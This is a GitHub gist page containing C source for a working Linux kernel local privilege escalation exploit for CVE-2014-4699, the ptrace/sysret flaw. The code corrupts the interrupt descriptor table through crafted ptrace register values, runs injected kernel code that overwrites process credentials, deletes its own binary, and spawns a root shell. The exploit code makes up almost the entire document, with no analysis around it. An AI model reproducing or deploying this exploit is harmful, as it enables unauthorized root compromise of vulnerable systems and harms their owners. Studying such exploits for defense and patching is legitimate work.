Skip to content

Instantly share code, notes, and snippets.

@katlogic
Last active January 4, 2018 05:33
Show Gist options
  • Save katlogic/f2993f8a1a3d064c381e to your computer and use it in GitHub Desktop.
Save katlogic/f2993f8a1a3d064c381e to your computer and use it in GitHub Desktop.
//
// CVE-2006-0741 reloaded
// CVE-2014-4699 actually
// kat@lua.cz
//
#define _GNU_SOURCE
#include <sched.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <assert.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/user.h>
#include <syscall.h>
#include <sys/mman.h>
#include <stdint.h>
#define IDT 0xffffffff819ef000
void kernel(void)
{
#define SETINT(i,flags,p) { \
unsigned long n = (long)p; \
idt[i*4] = 0x00100000 | (n&0xffff); \
idt[i*4+1] = (n&0xffff0000)|flags; \
idt[i*4+2] = 0xffffffff; \
idt[i*4+3] = 0; \
}
#define GETINT(i) \
(void*)(0xffffffff00000000LL|\
(((idt[i*4] & 0xffff) | (idt[i*4+1] & 0xffff0000))))
#define Z_SZ 7
#define E_SZ 5
#define TO(v,t,i) \
((unsigned t*)(v + (i)))[0]
#define SCAN_Z(p,tmp) { \
for (tmp = p; TO(tmp,long,-1)>>8!=0xe878ec8348ff6aLL; tmp++) {}; \
tmp += Z_SZ; \
}
#define SCAN_E(p,tmp) { \
for (tmp = p;(TO(tmp,long,-3)>>24!=0xe878ec8348LL) || (tmp[-1] == 0xff && tmp[-2] == 0x6a); tmp++) {}; \
tmp += E_SZ; \
}
#define FIND_Z { SCAN_Z(p,advance); p = advance - Z_SZ; }
#define FIND_E { SCAN_E(p,advance); p = advance - E_SZ; }
#define SKIP_Z { SCAN_Z(p,p); }
#define SKIP_E { SCAN_E(p,p); }
#define ADVANCE { p = advance; }
#define RESTORE(i,flags) { SETINT(i,flags,p); ADVANCE; }
unsigned char *p, *advance, *p1, *p2;
unsigned int *idt;
int i;
struct {
short limit;
long base;
} __attribute__((packed)) idtr;
#ifdef IDT
idtr.base = IDT;
#else
asm ("sidt %0": "=m"(idtr));
#endif
idt = (void*)idtr.base;
p = GETINT(1); // assume &debug
SKIP_Z; FIND_Z;
RESTORE(3,0xee04);
FIND_E;
RESTORE(12,0x8e01);
// xen cruft
SCAN_Z(p,p1);
SCAN_E(p,p2);
if (p1 < p2) {
p = p2; // now past xen_stack_segment
FIND_E; // general_protection
} else {
p = p2;
}
RESTORE(13,0x8e00); FIND_E;
RESTORE(14,0x8e00); FIND_Z;
RESTORE(18,0x8e05);
// second batch
p = GETINT(0); SKIP_Z; FIND_Z;
RESTORE(4,0xee00); FIND_Z;
RESTORE(5,0x8e00); FIND_Z;
RESTORE(6,0x8e00); FIND_Z;
RESTORE(7,0x8e00); FIND_E
RESTORE(8,0x8e02); FIND_Z;
RESTORE(9,0x8e00); FIND_E;
RESTORE(10,0x8e00); FIND_E;
RESTORE(11,0x8e00); FIND_Z;
RESTORE(15,0x8e00); FIND_Z;
RESTORE(16,0x8e00); FIND_E;
RESTORE(17,0x8e00); FIND_Z;
RESTORE(19,0x8e00);
// unused
for (i = 20; i < 32; i++)
SETINT(i,0x8e00,0);
long syscall;
long *sct;
// system_call:
asm ("rdmsr; shl $32, %%rdx; or %%rdx,%%rax" : "=a" (syscall) : "c" (0xc0000082) : "rdx");
// sys_call_table[]
for (p=(void*)syscall; TO(p,int,-1)>>8 != 0xc514ff;p++);
sct = (long*)((syscall & 0xffffffff00000000)|TO(p,int,3));
// current
p = (void*)sct[__NR_getppid];
while ((TO(p,int,0) != 0x0c8b4865) || (p[4] != 0x25)) p++;
long gsoffset = TO(p,int,5);
unsigned char *current;
asm ("swapgs; movq %%gs:(%0),%0" : "=r" ((long)current) : "0" (gsoffset));
// mov 0x????(%r??), %r??
#define GETOFF(ptr,dst) \
p = (void *) ptr; \
while ((p[0]|5)!=0x4d || p[1] != 0x8b || p[2] < 0x80 || p[5] || p[6]) p++; \
dst = p[3] | (p[4]<<8);
// real_parent
long real_parent;
GETOFF(sct[__NR_getppid], real_parent);
// creds
long creds;
GETOFF(sct[__NR_getuid], creds);
// current->real_parent->real_parent
current = TO(current,char *,real_parent);
current = TO(current,char *,real_parent);
#define SKIP 10
#define FILL 8
unsigned *credsp = TO(current,int *,creds);
for (i = SKIP; i < SKIP+FILL; i++)
credsp[i] = -1;
asm ("swapgs; call 1f; mov $60,%rax; syscall; 1: pop %rcx; sysexit");
}
int main(int argc, char *argv[])
{
unlink(argv[0]);
#define WAIT assert(waitpid(child, NULL, WCONTINUED)>=0);
#define STEP assert(ptrace(PTRACE_SYSCALL, child, 0, 0)==0);
long regs[27];
int child;
char *p;
struct {
short limit;
long base;
} __attribute__((packed)) idtr;
signal(SIGSEGV, exit);
signal(SIGABRT, exit);
#ifdef IDT
idtr.base = IDT;
#else
asm ("sidt %0": "=m"(idtr));
assert(idtr.base < 0xfffffffff0000000LL);
#endif
assert((p=mmap((void*)0x100000,4096,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,-1,0))==(void*)0x100000);
memcpy(p,&kernel,4096);
if (!(child=syscall(__NR_fork))) {
assert(ptrace(PTRACE_TRACEME, 0, 0, 0)==0);
asm("int3;");
syscall(__NR_clone, CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_VFORK|CLONE_SIGHAND,
idtr.base + 48*8, 0, 0);
exit(0);
}
WAIT; STEP; WAIT;
ptrace(PTRACE_GETREGS, child, 0, regs);
regs[1] = 0x00108e0200100000LL;
regs[2] = 0;
regs[16] = 1LL<<47;
ptrace(PTRACE_SETREGS, child, 0, regs);
ptrace(PTRACE_CONT, child, 0, 0);
WAIT;
ptrace(PTRACE_DETACH, child, 0, 0);
wait(NULL);
setresgid(0,0,0);
setresuid(0,0,0);
return execl("/bin/sh","-sh",NULL);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment